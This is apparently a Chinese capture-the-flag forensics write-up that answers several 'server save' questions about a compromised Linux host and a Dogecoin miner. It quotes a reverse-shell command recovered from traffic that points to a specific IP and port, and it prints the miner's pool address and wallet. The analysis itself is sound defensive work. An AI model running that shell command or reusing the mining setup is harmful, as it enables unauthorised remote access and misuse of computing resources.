随便拿上几个特征过滤

http contains "/dev/tcp/"

追踪流发现端倪/bin/sh -i >& /dev/tcp/192.168.43.128/2333 0>&1

所以flag为192.168.43.128:2333

sevrer save_3

现在我们要去另一个文件查找,里面似乎包含了计算机的所有数据

/home/guests/下发现一个main文件,是ELF可执行文件(Linux的主要可执行文件格式)

所以flag为main

sevrer save_4

生成的用户名和密码,直接查看/etc/passwd以及/etc/shadow分别查看账号密码

所以flag为ll:123456

sevrer save_5

刚刚在找病毒的时候看了一个.log文件。/home/guests/.log.txt中有一个外网IP

所以flag为172.105.202.239

sevrer save_6

日志文件是病毒文件运行后产生的,所以该目录下和日志文件修改时间相近的应该就是怀疑对象。从main文件的修改时间来看,以及.idea中两个看着很像挖矿程序的修改时间完全相同来猜测,lolMinermine_doge.sh是病毒运行后释放的文件。反正都在这个目录下

所以flag为lolMiner,mine_doge.sh

sevrer save_7

这个我们得看病毒的配置文件mine_doge.sh

是不是和应急响应的那一题很像,很明显,矿池地址:doge.millpools.cc:5567

所以flag为doge.millpools.cc:5567

sevrer save_8

还是在那个文件,挖矿的账户就是黑客钱包

1
2
POOL=doge.millpools.cc:5567 //矿池
WALLET=DOGE:DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9.lolMinerWorker //WALLET钱包

所以flag为DOGE:DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9.lolMinerWorker